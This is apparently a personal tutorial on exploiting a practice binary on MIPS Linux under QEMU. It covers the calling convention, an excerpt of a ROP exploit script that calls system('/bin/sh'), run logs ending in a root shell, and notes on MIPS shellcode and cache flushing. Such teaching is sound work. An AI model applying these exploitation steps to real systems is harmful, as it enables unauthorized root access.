Using qemu to set up your mips-arch system. Download the files here.
qemu-system-mips -m 512M -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -redir tcp:22::22 -device e1000,netdev=qnet0 -netdev user,id=qnet0,net=192.168.76.0/24,dhcpstart=192.168.76.9
Ropping in every architecture the first thing you must be clear is the detail of function call. The first 4 arguments are saved by $a0-$a3 and others are stored in stack.
Suppose the 6 arguments are in s0-s5:
move $a0, $s0 # and 0($fp) is reserved for this on the stack
move $a1, $s1 # and 4($fp) is reserved for this on the stack
move $a2, $s2 # and 8($fp)...
move $a3, $s3 # and 12($fp)...
sw $s4, 16($fp) # store 5th argument in the stack!!! Always at this location.
sw $s5, 20($fp) # store 6th argument in the stack, always at this location.
As for the return value, v0 holds it. If it's 64bit: v0 for high 32bit, v1 for low 32bit. The same as arm-arch, the register fp sometimes is not pushed into stack. So in arm and mips arch, the stack frame is not necessary sometimes and you must see the assemble code to make sure. But in most of the time, it's normal, which means it will be pushed into stack.
Some details you can see this.
You'd better call sleep(1) after you send "/bin/sh", although I don't know the reason~ And I knew it by debugging.
......
p.writeline(b32(system_addr) + "/bin/sh\x00")
raw_input('g0')
##system('/bin/sh')
......
And you can get a shell by remote attacking or local attacking:
➜ mips_exp python rop.py
[+] Connecting to localhost on port 22: Done
[!] Couldn't check security settings on 'localhost'
[+] Connecting to localhost:10000 via SSH to localhost: Done
[*] '/home/w0lfzhang/Desktop/mips_exp/rop'
Arch: mips-32-big
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
[*] '/home/w0lfzhang/Desktop/mips_exp/libc.so.6'
Arch: mips-32-big
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
g0
[+] write_addr: 0x77f21cf8
[+] system_addr: 0x77ef2480
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
root@debian-mips:~/mips_exp# python rop_zio.py
Welcome to mips ROP!
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@�aaaaaaaaaaaaaaaaaaaaaaaaaaaa�����@paaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@�p
w���[+] write_addr: 0x77f21cf8
[+] system_addr: 0x77e79da0
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@�aaaaaaaaaaaaaaaaaaaaaaaaaaaa��A 0d@paaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@�p
w睠/bin/sh
g0
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@�aaaaaaaaaaaaaaaaaaaaaaaaaaaaA 0�A 4@p
id
uid=0(root) gid=0(root) groups=0(root)
The reason I write the zio exploit script is that it's convenient to debug the program in the virtual machine and I can't install pwntools in mips-arch linux.
Writing good-working shellcode is always a hard thing. There are some problems you will encounter. Although most of the time, we don't need to write shellcode on our own, we can use pwntools or other tools to generate it. But it's necessary to introduce how to write it. mips syscall:
$v0 = sys-no
args: $a0-$a3
$a0 = arg1
$a1 = arg2
$a2 = arg3
...
$a3: success/error
syscall
$v0 = ret-value
So if the numbers of args is more than 4, how to pass the left args? Let's check the function sendto in libc:
sendto(fd, buf, 20, 0, 0x4000, 100);
Step into libc at sendto:
gdb-peda$ b sendto
gdb-peda$ r
gdb-peda$ x/3i $pc
=> 0x77f37fa0: lw t9,-32080(gp)
0x77f37fa4: move at,at
0x77f37fa8: jr t9
0x77f37fac: move at,at
gdb-peda$ x/20wx $sp
0x7fff6b08: 0x77e3f5b4 0x77fef000 0x00418860 0x00000000
0x7fff6b18: 0x00004000 0x00000064 0x77fd6dd0 0x00400510
0x7fff6b28: 0x00000000 0x00000014 0x00418860 0x00000000
0x7fff6b38: 0x20000000 0x00000000 0x00400510 0x004fd608
0x7fff6b48: 0x77fc7970 0x00501328 0x0000006c 0x77e4f208
gdb-peda$ i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 fffffff8 0000005f 00000000 00000000 7fff6b30 00000014 00000001
t0 t1 t2 t3 t4 t5 t6 t7
R8 00000000 00001054 80497a64 00000004 7fff6b28 00004000 00000064 7fff6918
s0 s1 s2 s3 s4 s5 s6 s7
See? The fifth and the sixth args are push into stack. Just ingore t5 and t6, they are not used to save arguments.
And in mips systems, there exists cache incoherency when executing shellcode. The solution is calling sleep(1) to flush cache before executing shellcode. You can see this pdf in chapter 3.